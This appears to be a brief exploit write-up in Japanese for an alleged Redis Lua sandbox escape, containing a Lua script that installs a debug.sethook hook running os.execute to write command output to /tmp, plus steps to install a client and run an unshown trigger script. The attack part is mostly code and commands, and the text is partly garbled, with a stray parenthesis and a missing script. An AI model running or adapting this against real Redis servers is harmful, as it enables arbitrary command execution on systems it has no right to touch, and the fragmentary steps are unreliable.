
debug.sethook による Redis Lua サンドボックスエスケープ-- redis_sandbox.lua - Script that attempts sandbox escape
local function escape()
debug.sethook(function()
-- This hook runs in a privileged context
os.execute("id > /tmp/redis_escape")
end, "r")
local a = 1
end
return escape()
Redis Lua サンドボックスは debug.sethook 関数を適切に無効化していません。Lua スクリプトを実行できる攻撃者は、特権コンテキストで実行されるフックを仕掛け、サンドボックスを抜け出して任意のシステムコマンドを実行することができます。
os.execute や類似の関数を呼び出すフックが許可されています。EVAL を許可するデフォルト設定を使用)。pip install redis
python trigger_redis_sandbox_escape.py
/tmp/redis_escape ファイルが作成され、コマンド実行が証明されます。